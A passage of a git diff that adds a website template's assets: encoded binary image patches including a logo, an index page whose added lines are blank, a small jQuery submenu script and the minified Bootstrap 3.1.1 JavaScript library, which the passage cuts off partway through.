zdre|^y2wvBMg%#3(q+BRsqWzIQ*rX7Y_LX{rKiKDM&s3&a7dZr&RJf1R1aBp}HE<>vQbav09r$AX zfmst#{nE3{w^`FGMvqjN=Ssr)%H(^4aBlRrj2^|jRi$ltNeD4k5k}k?Z;AS>TA1Mk zrpgU=5nQ6!&+-$M&jSlgWOB6)HMAKM13a+!3oSfSy*CpJ0gLbjZ7xD5w(K|0V-ZwB zQ&JlkW>A9bRkch(-p0ey^RfR}pqrrVX&~Z$sXtrI%cr`LStO3eO(>wtli4}%XjS$^ z_Yct~C-@Vi^Y_lgusdX0U3vaUD#)KE7oP>pqTEdu#MZkFF+xGBb9OP54VhphVbilU zB-69~P~;+}I-e7wrHT+qKwASy*2y`GG&~UiFlq{4we0w+lwK8SYRKVTc%@#_Hl%N& z+RXbawtC#9gxVncY?>u`;}hoQ7M!4|HRr?uH!z^D`GbcfTH0t$LMm>>0@IfdESBIj z?!I<_GgGkft6A?E4rSy0wgqyTfsZV+!d6-z*>>+Du%@bL=c(CC@(jYqX7wa{xTHlo zghNn++@j>{>tjAP*rV_*V`mF*DoJ`)U`K>Jt+swe--0uh%o`0wfJsWX4A2uwCuOw) z-boCSN*c+(lOf`8^Qek^EWtx0{Y@+m0uw%y?}=&%I)%{P-ip>hM@`RTF!#d=BHpmC zGw3Xr^>sTF{)WVwwJN`Q{REc&)#qEmEx;Rg(iqecIVM+F0t}XDdf=q|Im`k3A$FRce?K$J zV>L#Z65cX*5#M8l`kU^M{YH%K_jiI@3;EZ4oy(MEx?34=bGHmX zxejLUP?_^ca5*GrCjNJXxkyO0pi!pBFph!(Z<=!npfjUM-q#{b<-H*Ij~BxT274KR z{J~5eq0IM4ZC%3)>PH@W{)0b|>f_=s9a@oFE7EB9mb}ucn-73*A1i-)#fKetO^r>E zp}YKSvb-kJk00r|a?Gj~x1%7O{!+<0Oa0kktT|w*Pcil$9$8*uK4V7&s61a2`l(pf z>JadgvmpPCBpWAhh8=e+CJ@`j|HgO&@gZZdW4Ik=&b1L!RHJ&Q&yKlY>}M+4LWTPW z@<5eJTJ2pEV7aa}nND2K4LT12Zz!c7{rWQPT)76{mWJocK(nxL5jYmi1TKY*UJ7m^ zDf3I*5RAZy!SjO=Shh(CR?oe(j=Q7S^Rw|5orW*i5Jn=M=$7F0bu{$C3Qh+0IPhGd zwZze?CdVZsQC~KT&LiRComOgNL0Lr$J4ED@eCu7{;i}i7eG2{e<+Ny#CT|#VfqL9x zN9#={+rpmds>ON55~1t_BQQQSv)i5A4JFjYs`J=#(xT;Y)UrcgQM3*jlbooYJ}kWy zL^R{(w)UYGfC-nqp0#?sw66nC(TWJTYNTXF`;X?wGYv=nEGL8mM=~!ai+8g|Pi~vqF7(?AjXe-E< ztqs1}&!6$Kbt0%%7kG_QGKtHIgU90%eM~3ER5IvN-s8Nd>5(w<;ph}*_4)XfY4+ii z<{)G$d_RGi*M)XtQBEdoz;yZwt~`{gNs6?=qr*@EQ}o_*(y_;JAogTI9N z=al`Fs2D1S^|NdNajfUk6QpGxsHPGWfAw?i=-Z&jcNe<74<>tjpKx<}@{P1I@Z<2F z+8anwKJq*ktXk~Q+MvP%M-$acaKzjYPAJkukH+DuM7Fg$*`G=BF;R?*qvla~(Ya2~ zaUHh%x3F#=hpGz-I6nA3^V}juJfGoR>C6oBedRA$1FC`9q~ge4r-dA;w*N>g zo<~1*vSm3jlc!Q;0Dt;x$_!6lydhdsWv(%akrUUzSJ1xUIcgvJaQp&Fyqj3m8b;!R Pivy68R+g%jG!6NGY$Hdn literal 0 HcmV?d00001 diff --git a/Sites/Template/sitecom/img/logo.png b/Sites/Template/sitecom/img/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..40257804a4d43601de2e80abb2464ff4d1df3aa9 GIT binary patch literal 8513 zcmV-HA->*;P)(L~y00006VoOIv0RI60 z0RN!9r;`8x010qNS#tmY3ljhU3ljkVnw%H_000McNliru*aHp=GB?a#C!PQRAOJ~3 zK~#9!?VWd=9Oaqkzi(Bi$vH@)Fp@?ip)61U2~a@910$1+$#@MouETk4-^b^*vEjUX zo4mHMF@^=p7)RECEx?i`GLlfvnjp=LCdZzc&fQh@-XC4vT{Y7aBoS@XI0venQI+^8%nQr?gC=RY%f^O!Ynerwa!=5QgKYf{km&ofA#skNP%M`^8Y zdN$jNg;xG*V@?_NE|}N2>1Tr6?$twh-eeODbJ~s;W2~4uqnPs~UgP zBt(Lz^nt;_!6QeGw*B&#&$Nd^p$HHGqCm_dC~X$SIRnI^F%pv33AlmGb!*p@f8w6I zuAEX)vCbpJ(r8;pLA0+|)j}bYab)T)hvzENFi5<@g82U;)%hmCNC3`~pimSX4yVZ! zapk3|E{yqeHeGV*+J6MRK*)UE1LQxm>A(KIu)F^&G7>_lDS#$(6{9tm9C8~1UMZ2% zNIhdn{cXu5ghZg9i=L$sslw)h5$so2cq)>&=cwYD8Z4LiMzO1 z_f$;wh74nWQ}gNVKmPHff8MrjdnXVy0TZ)Y6k`EJj8khQG=>MrzWuh3SKWTw$39u; za$oN|csM8A(S}eJGAqh)7Zu^i@E}z6y=!F?JVH@GQ4op}mzI{#EiZ4S{DvE9mR-2& z9w}uDFkm)wt`MT)_rHGn`^wupS5;nj6&Mm}=yA!PxJx-kr~J(d++@E9MSxH&?Pj*8 zsnJPXDJ-X9ANd|3N|KU;aji^3I~zt^044efiPR1BaF|G+mtbo<=#s38DHL9Cfv-0b ze(t}XeCmmx|9n$D;I~*5##q`!i~}61X+~ug7Z(>j^26_ca(Y4GeSL4dm8*w*kF8zvu-e}0EM2(* zLyJvV@*gIXOHn`wqFyh32ae!yXHvF)?ck~I?#J%C?|~<}dwP0-fN6f|qk%+>0~{V8 z=bCG-p8bulfAyb2`wm{@uRlTI(uH^m3zH_zUs)^R%*v+u<*k%&xIBEkz5VyU{r$6> z1Ac$(qt{=1<=iP#KJI(%_3UX^tV?6IOwfl1EDEZ}gB}Xg`Q{F?r_aQ>Xx@(RKJ>k> zy}V^>J>WC7$%r5k;{ZqgCq8lSlF#3N-y?0${$ZM$>n3;BOw)w=Yi=6_XI3_?+g?Lt zWaF7yfv)QWn_Dovy-d1zC5p?Hbe<>Z!;BLJS57X24NZ7!8z|VY_VlAqZTjr5fA{PG zpno)wqyvZz9CzJy$I>r<>Qg^C{mic`GAk$HDJkY}CNv@h&a5n=J|DsM4h&7hou7w0 zFE1HDn4tfE$dQqW)D0T9zfSfgt6Crb)o(xZ{EIK|vx20tp%~=w$=>d zL`;wj=NuCpi7;-i+wHE{y5*(+@NeF-R%8lX1^E-qH9;Q=Qr&J0T~hnjJIJLAUj4#1 z9{f@?8fygxF~h(KkT`~jS;aK13jXz9{`m&=WYd~RppWd*spz5LyH-F6L^X{*e~|uA zh={IZNWmxr5NRpb41~i(G#vv*jrs{8m|tFsLm9hlhLi*%QM`d5{z#OlVIWfjXm$xI1oO&E zaEuaMkw7G-(dO-^%O4YnLk>L=8n>*Hg?h|+2`0tNC@e6BI zE1?Y>LmYD_kX=1{_OuI^EWYpLj~*4p7cM3`Fz~K{qs80Lk**$Ob`Dc2XHYSB0eSiP zxIJ!E<;)!aNYg2_mea$ZYZ@m5VXnLJCY&y3ve%>g-a!k6lWefRy^E`Fx`~X8%(JeK zp~c|PK1;eO3ddp`>*%CC9L1eq$fT)LD4#Ql+`K&89yiJ;45j=1$RqpFMp4?{V34C7 zUGz&qZfPkMQ>Id0T1s|KHcnUiu)F5>!QlhRX$3>6ePEEo9bITy+02?Vm&H|8l$4Z^ znU#gp=}eZ{kPeQV;vHc2dGnY%Z(cI}$lw5Vz5#S2J|(L!7^ZaEbQUdHYLiB1O1|dP zGzI+VL+ZM(wVl(NWaTB7ux`l`ii(SE3^o?^9z9HZFum3e$28t(YC$h3;^Hf>rh3j? za&mK%(tXr)j~t>sO`C-^o!1&pqn1x%{VlgLtE!5O%*-*%o12%%q{)+6uxJrI-Q6_o zdYi2FR>Uag_=%2g7B5@IyafxA=}SXWck~d^!I6dWsa`LWs;gPHawSfuGbJeMYiT`j zW)_am+fQF>I|dqo1INlgzVX`Y|M^EhZ6`iH5=&?ihh-{>1IWtC$|^apYSy)_k3C7* zswMavd)^hz@p^MB1&f#R(VK1}J0~Zl&ZWeNM$xs{8M!!mG>X5m5hD$FoBR4%eRZ|1 zbA3%sXud#7Rrh(BwR%2!C}?ADgo1MjV@N591p@KW+o4kY#4)r$C?y?roh_$Zn7Mo< zpSk85ii(SqOe>{C3y0AnVWg&yYT|fnPT0~-PT$# zT!Lzb`&Ct?th}6@%devTPtT(_pB}Mp4ZZ+(EM01AW1$EfnOOwW)H(6H16{q`{;}I_ z-~cdUTH3Z6i2{Q@n(OM(B2g5FO7EWiRNsHcwV4?i&jv%GWJIfSMpaUSB%JfC|8doo z3!*0*r)NzmBiP!8p2l=IQ)&+eiI$dg{S7zRz~Mc9jEG2!F%i|;l5s^rk&OJi#HPC)j>bE{@o{;w_rh%Ib(qU9XsB_ zd;A!&!ND_1+ZT)RmtHS7-hB^?&p$tzrWOj(`s#N24jsaXMbmh?D$cp{sJv_gxw*N? z$C;U#l%Kzx=DNDH<>(1V$eA*gvhwm_e{I!ae7vi8aGudrvPn-Twgd7cNXn z-(Y74wZGUzw7>t%gC$b3y{nsR?!3zej>teiwLgD~P*>OJT72&wc1NOIa>EVD`U2!l zp3G?pMw<3M(dXsDYp%s*3J)uJ3X9VAk(837{s6aKwtkrQ0MH|0`|r#NqlRG+i$;lr z!UP8W1bjYXk!TV)!kj4Ta5?ZFs}~n8U$%1dmTfzL-h>u$4Dmm*OA7PnhC4dZE6dQ+ zs4Xcau~?LFFhnF2CKipM#WV~DZccJ3WBOf7-tf?P^UOKtV7+q#YZy3uESc4{#O=FVZml~*R2MUTaJ z?c3iW(AIX&_1Yf^ao$Zgv1rMXBsijeKd*lC+k{2}-w47d@w7G?q3rSvEL*uU2@X9P z<@N9W9|r2{$2D@)+Sts@6)TuAb7u0H!|kTM;WXjiKHF4A186AB=Z@;?lnECO<8ZqX zLf|Sar18j!;dy8=axS@;>6J6$La?t7PhMWK%!6IMG?~9M3{Si(rGeu&fBn_{DOE$HWm!B{js01{LVWlEGi+f34mBltPFyoe22$PxU)N{BBRkL9nI|o{XtVI3EQ-3#gcgf7)hiGC@L2GPp(6x~VbqtBykmTwHdAdZABjF=nE@N5=Q>IR{Nzv|IdvR!TObyb3 z#)=_Pt)2siQGyXhi{V*Aj!08$I>)R zWYCA^^`S)VK4M3Xn_JhcNlN~PZLe_X&)b-^=28laif}lcW>2=;`Vr5{Zn+yoO;A3Wn(E?xyWT4eHzb$ZzdVtunMwpQ1Bm?i`yGj|PGa z9yo?0GPbWXP>{jgdGl=Ar)$TaF@Jm7E!nW)GCUa>w&ztBuj11S<|Vc5c&KZ~ZccpX z-)x%ITb9R#t5@5EOzZYHki9+}r!@`NH+r zpdIYnz5KL#xN&!lmciI=%1UQS=@^V~sxO0>sqGOqx8| z=703Oz8fVxGJ{J2!6`+|U$Ai47=+X5q`0KyjC_r@V<&C-1r$l)yg9aV0km&@W7Kk` z)gb1-2Eg13X3U&r_oLo;2Q^}(`GqANX$6cRT3SS@MY92PzMT*%DWElG!P?7GLZq*z z9`Bx``U}U|*>zBL+%*pgIYTGj-woArV8J_7~qk2^q;`bOHW3<($8Kd6Fql{rXP`UyKYz z;BD(jS{V5=D^Y_6Qb67GOun#jBW{lee@i>3e(?fI&_E~-RO{ewD2fs?EL+tG6TWs+ zD+vZ+?fVW5y>t#$|M?|m%&E3H|86xCz1!}$Xo^5xH$1-H@xm^Q zZf#8dX{}JXV(}828PoNb-RRw;kI(dG3o2*NwuLzX4t(_o^t`_BoTFERQ=C-JoMqEa z;chSCy1r2d8%IquM=-Ur(xz#plmw4=B71a3kA8r)&|l z_8dv|>I*3~qk}PDfaXnG5PcFANuaqCEf&M!aF91^2BKfml4USs-Nno?wa2l4-Gts8 zh_k+?*aWBUjXw=qDP^ z86XZr4r63@aREwcF42y@vr1DH>aaOhLI|>#&Zc+YiLnP`U2t$kDPO$z9P$pn+Fn( z{L_;}gP{~Jd7L(Y7=}J(KaItY73a_8bW2Mc@yUuwkR)2kF#ixbR#SJfbk*XxUy(GV z(u2c5qMMgy`K%9lel}OX2i~5S!P+aY!0ky*QEz{3H~lq@!`=^87BRD`%5FAo-8rtj z+H+v;(nYp>`VQ6*?DmfN+svpW6bcPvw#u*GPIOw~S=T>tWqZT)4jBmao#bxD6`pstbj*Y+j(MMI+W`SJGkC4)B?eDhP>eA{h!JRbUM8>s)~OSUwnDr^9c zMWdsZc|81BvVIx6cD-|w`1VlIL@XnrL3HzBVB70&*4*;&Lt#gj$D;?rHlry4inx6z zZ4Oa7+Bd^NX4O<2sybw}V)*V(GCA5R(Q`ax&z4I5Z}>7_{ts)fSr{Gb0$Y{(p} zunY1RR8dr1WOEi z6AOmYhLc?(jmm>|fH}h&Jv$E*{#eLnl2$C7OZ6}Rksbf{38F_Da0H@ALlSYqK(P!D?Zj$gMF3wa zzxQ~>HLI33{B9f498#1Bj3Mri7-bAsa|oPk7V+hW9>n9x7R|^Rlo;QSRUSh#d4fk1$8C={ReFhVjlKmHB1M>nNSfAD87QghiF z=3THf*&d#Z4Ax(L6|2{;BNzw}iA2%@q~VztIdbrkVUC3O!!8cqypt8{*QP@6s>+JX z)>5@(A@#Mjw6?Sm3WadFT$GlTF@44iCQqJh*XVEU7PB;o!&;%(!%Ua^k2S zjdA>`7lyT~JE+mwo(lCQ>ezd^fdCM}Hzi@%gR&UawQ188-Gl7^J&_(zkQdWDj?*zbqNyYxvWv_&SEq8xv72zBa=!Y`(=i5B_9WA4))| zirvK0V#F+A-4XjKO|U_AJDGX^M*YFZA5BbB^ba+$5&(&rf9%=y&Yqf+w|S3M-}8}$ z2Oj+`Zd6=I6qHdH!r09o2gThH>Ym$nMu3opL8N~We{%=j2W#oraez=)|H#us1bDJD z(QBHi?@G<#sd;t_v2jQhpU1&W%|+8+-cC+v>p4_Q(C0s+a>si5+5fd4a{T+xFlo&) zN*7g=T~UTBI}?Y;HEOg%4@YU;b!gP`#!j{I);-_m;6sm7v2HoVb7zuOUW_x-gW__G z$Qg~>caE5Dtf`YXZuvULR?cVE#`RRJI-jCBm3Z=UP=u14;b&+X{`PLXCmLwqd634J z-=ur*@ezRmAQeGIX#p8+Ug}?Z6@b0}`E>fSXb{+Qg4)fm;B-1nv#p2P=eF6L`NSZZ zyDvb~*0++Y5eHh^&sc*Prjt;8+tnQNb{>Cw$Icq!n+y6$ZBH8SHp^B&*}!CA-js@p zRZsrpk^7#z@$=b(wavIuahMR9pbswzMWAN7ahPFssp~`s14!NYQ0yTlk;&jvW@R}S zKlNbX%m4dZKWk}ieH%Ciw3;B%8yo87&~cCm@$FCATUuM|e(>01TR-#Icd!4|#?L6> z{$NszC=-12;UxoN{vh~+AG)d~f=n?CjBFRHANsWM#52Fz+S1xu3$zj6A1h)V2T=j~ z`}@c*C>-i>tF^UtT0up5#uazpGIjsvzlelNH7qL1n7Agczw%25GsJ5ULC5ET3m^Qn z+}YBw^S__}<947HXd!+IKp4xmKO^po1xx~}g%AtB@cGYPb-~oi<(uyRUm~k7M26|I zEAR5ic{(TRtjvT7JupF7kD7{`RbdQ#IS$r-;{jRc@8A3LXMXdNl=2WzXKIjP`(ll{ zvm#Id%m(J)dHcuLTy^p43xDT}8PLhYi^hrRR1xw1adRLB`j&-uy`vH;(ApUg; zMtd6e!E8SoYSknz{lZ=PJ2f@$JpbaKUy)KCHMK`8W9_VH0g14HB;N$dEMU%xWfxrV zz`b`}TJy@=xo27m}9m2|&cV3M6qB%p~3eCVO`o zTfT2V848XN2H_kRbFN#<^wsD4{_yhFHx3>-wg;#I>Mg#<*n9I@w1{m3YoHvM4pe1j zWmSLt<{Oq@xODNHgIiv6?R$PJq2?|!QE?`xr;J_!aTb*pXYqczQ$^*w3XU^>SDXc) z{+eP(c2L@v5f5Ed{6T;+?u5sIp_b+`^U~$aT77=(SVL3oOWR(3ClCzQn!soTIylqa z-P3@?ZTcj|z!VcG({gijreA&eW%HLWU0kUR`g0ogA5q$BPSM}eL3qH29*L!xK@4XN zVR@FE%5HgIyi1}+jKXnp43ll7#N}8v-WcYe^}P@LbP{>4KOg-huGD-lIc{+x(wWwB z^gI=p16NKK*=0o(R8D5noS9P1%k~|usc(8?*Pf$;K3^lyWL~X6H)nG`$Os^D5?{=o z50sh?{A5$JlvGSAFPmFkRX(Y#tROEpJ1fKEaVbKHABri2P?85z#&@jKw&wnFwKFUnCJi5&O)@bryxFWNj1}zX%5;PzSeqZXIMX2-W_^Y zqPe%QNYo*X-ip^asHzrrIb$u!L}C&Q0}o}dYOuP71GjhT*iz>G-s6Q4fP1N51Wcw(;Axt&os1SDWT zU))1{_lImC$Gm5m&)lTWAfE{IOwjvfDC#EDM~F{Z4-g*__nDvH{Znp7&?X6uk}$no zCMc{sLZ}w)F#(bZdOy4FdgVgPB!;*&_DbH(j8RY>8_`iF1B#Zfaf$gL6@8Vo7R>LV0FMhC)b2s)DFVdQ&MBb@0AxZe Ae*gdg literal 0 HcmV?d00001 diff --git a/Sites/Template/sitecom/index.htm b/Sites/Template/sitecom/index.htm new file mode 100644 index 0000000..a9b4037 --- /dev/null +++ b/Sites/Template/sitecom/index.htm @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Sites/Template/sitecom/js/bootstrap-submenu.js b/Sites/Template/sitecom/js/bootstrap-submenu.js new file mode 100644 index 0000000..7c472ea --- /dev/null +++ b/Sites/Template/sitecom/js/bootstrap-submenu.js @@ -0,0 +1 @@ +$("ul.dropdown-menu [data-toggle=dropdown]").on("click",function(b){b.preventDefault();b.stopPropagation();$("ul.dropdown-menu [data-toggle=dropdown]").parent().removeClass("open");$(this).parent().addClass("open");var d=$(this).parent().find("ul");var a=d.offset();if((a.left+d.width())+30>$(window).width()){var c=-d.width()}else{var c=$(this).parent().width()}d.css({left:c})}); \ No newline at end of file diff --git a/Sites/Template/sitecom/js/bootstrap.min.js b/Sites/Template/sitecom/js/bootstrap.min.js new file mode 100644 index 0000000..af3273e --- /dev/null +++ b/Sites/Template/sitecom/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery){throw new Error("Bootstrap's JavaScript requires jQuery")}+function(d){function c(){var f=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var g in e){if(void 0!==f.style[g]){return{end:e[g]}}}return !1}d.fn.emulateTransitionEnd=function(a){var h=!1,g=this;d(this).one(d.support.transition.end,function(){h=!0});var f=function(){h||d(g).trigger(d.support.transition.end)};return setTimeout(f,a),this},d(function(){d.support.transition=c()})}(jQuery),+function(f){var e='[data-dismiss="alert"]',h=function(a){f(a).on("click",e,this.close)};h.prototype.close=function(a){function l(){i.trigger("closed.bs.alert").remove()}var k=f(this),j=k.attr("data-target");j||(j=k.attr("href"),j=j&&j.replace(/.*(?=#[^\s]*$)/,""));var i=f(j);a&&a.preventDefault(),i.length||(i=k.hasClass("alert")?k:k.parent()),i.trigger(a=f.Event("close.bs.alert")),a.isDefaultPrevented()||(i.removeClass("in"),f.support.transition&&i.hasClass("fade")?i.one(f.support.transition.end,l).emulateTransitionEnd(150):l())};var g=f.fn.alert;f.fn.alert=function(a){return this.each(function(){var c=f(this),b=c.data("bs.alert");b||c.data("bs.alert",b=new h(this)),"string"==typeof a&&b[a].call(c)})},f.fn.alert.Constructor=h,f.fn.alert.noConflict=function(){return f.fn.alert=g,this},f(document).on("click.bs.alert.data-api",e,h.prototype.close)}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.isLoading=!1};d.DEFAULTS={loadingText:"loading..."},d.prototype.setState=function(a){var j="disabled",i=this.$element,h=i.is("input")?"val":"html",g=i.data();a+="Text",g.resetText||i.data("resetText",i[h]()),i[h](g[a]||this.options[a]),setTimeout(e.proxy(function(){"loadingText"==a?(this.isLoading=!0,i.addClass(j).attr(j,j)):this.isLoading&&(this.isLoading=!1,i.removeClass(j).removeAttr(j))},this),0)},d.prototype.toggle=function(){var h=!0,g=this.$element.closest('[data-toggle="buttons"]');if(g.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?h=!1:g.find(".active").removeClass("active")),h&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}h&&this.$element.toggleClass("active")};var f=e.fn.button;e.fn.button=function(a){return this.each(function(){var g=e(this),c=g.data("bs.button"),b="object"==typeof a&&a;c||g.data("bs.button",c=new d(this,b)),"toggle"==a?c.toggle():a&&c.setState(a)})},e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,this},e(document).on("click.bs.button.data-api","[data-toggle^=button]",function(a){var g=e(a.target);g.hasClass("btn")||(g=g.closest(".btn")),g.button("toggle"),a.preventDefault()})}(jQuery),+function(e){var d=function(a,g){this.$element=e(a),this.$indicators=this.$element.find(".carousel-indicators"),this.options=g,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};d.DEFAULTS={interval:5000,pause:"hover",wrap:!0},d.prototype.cycle=function(a){return a||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},d.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},d.prototype.to=function(a){var h=this,g=this.getActiveIndex();return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){h.to(a)}):g==a?this.pause().cycle():this.slide(a>g?"next":"prev",e(this.$items[a]))},d.prototype.pause=function(a){return a||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},d.prototype.next=function(){return this.sliding?void 0:this.slide("next")},d.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},d.prototype.slide=function(r,q){var p=this.$element.find(".item.active"),o=q||p[r](),n=this.interval,m="next"==r?"left":"right",l="next"==r?"first":"last",k=this;if(!o.length){if(!this.options.wrap){return}o=this.$element.find(".item")[l]()}if(o.hasClass("active")){return this.sliding=!1}var a=e.Event("slide.bs.carousel",{relatedTarget:o[0],direction:m});return this.$element.trigger(a),a.isDefaultPrevented()?void 0:(this.sliding=!0,n&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var c=e(k.$indicators.children()[k.getActiveIndex()]);c&&c.addClass("active")})),e.support.transition&&this.$element.hasClass("slide")?(o.addClass(r),o[0].offsetWidth,p.addClass(m),o.addClass(m),p.one(e.support.transition.end,function(){o.removeClass([r,m].join(" ")).addClass("active"),p.removeClass(["active",m].join(" ")),k.sliding=!1,setTimeout(function(){k.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1000*p.css("transition-duration").slice(0,-1))):(p.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),n&&this.cycle(),this)};var f=e.fn.carousel;e.fn.carousel=function(a){return this.each(function(){var i=e(this),h=i.data("bs.carousel"),c=e.extend({},d.DEFAULTS,i.data(),"object"==typeof a&&a),b="string"==typeof a?a:c.slide;h||i.data("bs.carousel",h=new d(this,c)),"number"==typeof a?h.to(a):b?h[b]():c.interval&&h.pause().cycle()})},e.fn.carousel.Constructor=d,e.fn.carousel.noConflict=function(){return e.fn.carousel=f,this},e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(a){var l,k=e(this),j=e(k.attr("data-target")||(l=k.attr("href"))&&l.replace(/.*(?=#[^\s]+$)/,"")),i=e.extend({},j.data(),k.data()),h=k.attr("data-slide-to");h&&(i.interval=!1),j.carousel(i),(h=k.attr("data-slide-to"))&&j.data("bs.carousel").to(h),a.preventDefault()}),e(window).on("load",function(){e('[data-ride="carousel"]').each(function(){var a=e(this);a.carousel(a.data())})})}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.transitioning=null,this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var b=this.$element.hasClass("width");return b?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var l=this.$parent&&this.$parent.find("> .panel > .in");if(l&&l.length){var k=l.data("bs.collapse");if(k&&k.transitioning){return}l.collapse("hide"),k||l.data("bs.collapse",null)}var j=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[j](0),this.transitioning=1;var i=function(){this.$element.removeClass("collapsing").addClass("collapse in")[j]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition){return i.call(this)}var h=e.camelCase(["scroll",j].join("-"));this.$element.one(e.support.transition.end,e.proxy(i,this)).emulateTransitionEnd(350)[j](this.$element[0][h])}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var a=e.Event("hide.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var h=this.dimension();this.$element[h](this.$element[h]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var g=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return e.support.transition?void this.$element[h](0).one(e.support.transition.end,e.proxy(g,this)).emulateTransitionEnd(350):g.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var f=e.fn.collapse;e.fn.collapse=function(a){return this.each(function(){var g=e(this),c=g.data("bs.collapse"),b=e.extend({},d.DEFAULTS,g.data(),"object"==typeof a&&a);!c&&b.toggle&&"show"==a&&(a=!a),c||g.data("bs.collapse",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.collapse.Constructor=d,e.fn.collapse.noConflict=function(){return e.fn.collapse=f,this},e(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(r){var q,p=e(this),o=p.attr("data-target")||r.preventDefault()||(q=p.attr("href"))&&q.replace(/.*(?=#[^\s]+$)/,""),n=e(o),m=n.data("bs.collapse"),l=m?"toggle":p.data(),k=p.attr("data-parent"),a=k&&e(k);m&&m.transitioning||(a&&a.find('[data-toggle=collapse][data-parent="'+k+'"]').not(p).addClass("collapsed"),p[n.hasClass("in")?"addClass":"removeClass"]("collapsed")),n.collapse(l)})}(jQuery),+function(i){function h(a){i(m).remove(),i(l).each(function(){var c=n(i(this)),b={relatedTarget:this};c.hasClass("open")&&(c.trigger(a=i.Event("hide.bs.dropdown",b)),a.isDefaultPrevented()||c.removeClass("open").trigger("hidden.bs.dropdown",b))})}function n(a){var f=a.attr("data-target");f||(f=a.attr("href"),f=f&&/#[A-Za-z]/.test(f)&&f.replace(/.*(?=#[^\s]*$)/,""));var e=f&&i(f);return e&&e.length?e:a.parent()}var m=".dropdown-backdrop",l="[data-toggle=dropdown]",k=function(a){i(a).on("click.bs.dropdown",this.toggle)};k.prototype.toggle=function(p){var o=i(this);if(!o.is(".disabled, :disabled")){var c=n(o),b=c.hasClass("open");if(h(),!b){"ontouchstart" in document.documentElement&&!c.closest(".navbar-nav").length&&i(''}),d.prototype=e.extend({},e.fn.tooltip.Constructor.prototype),d.prototype.constructor=d,d.prototype.getDefaults=function(){return d.DEFAULTS},d.prototype.setContent=function(){var h=this.tip(),g=this.getTitle(),i=this.getContent();h.find(".popover-title")[this.options.html?"html":"text"](g),h.find(".popover-content")[this.options.html?"string"==typeof i?"html":"append":"text"](i),h.removeClass("fade top bottom left right in"),h.find(".popover-title").html()||h.find(".popover-title").hide()},d.prototype.hasContent=function(){return this.getTitle()||this.getContent()},d.prototype.getContent=function(){var g=this.$element,c=this.options;return g.attr("data-content")||("function"==typeof c.content?c.content.call(g[0]):c.content)},d.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},d.prototype.tip=function(){return this.$tip||(this.$tip=e(this.options.template)),this.$tip};var f=e.fn.popover;e.fn.popover=function(a){return this.each(function(){var g=e(this),c=g.data("bs.popover"),b="object"==typeof a&&a;(c||"destroy"!=a)&&(c||g.data("bs.popover",c=new d(this,b)),"string"==typeof a&&c[a]())})},e.fn.popover.Constructor=d,e.fn.popover.noConflict=function(){return e.fn.popover=f,this}}(jQuery),+function(e){function d(h,g){var b,a=e.proxy(this.process,this);this.$element=e(e(h).is("body")?window:h),this.$body=e("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",a),this.options=e.extend({},d.DEFAULTS,g),this.selector=(this.options.target||(b=e(h).attr("href"))&&b.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=e([]),this.targets=e([]),this.activeTarget=null,this.refresh(),this.process()}d.DEFAULTS={offset:10},d.prototype.refresh=function(){var a=this.$element[0]==window?"offset":"position";this.offsets=e([]),this.targets=e([]);var g=this;this.$body.find(this.selector).map(function(){var h=e(this),c=h.data("target")||h.attr("href"),b=/^#./.test(c)&&e(c);return 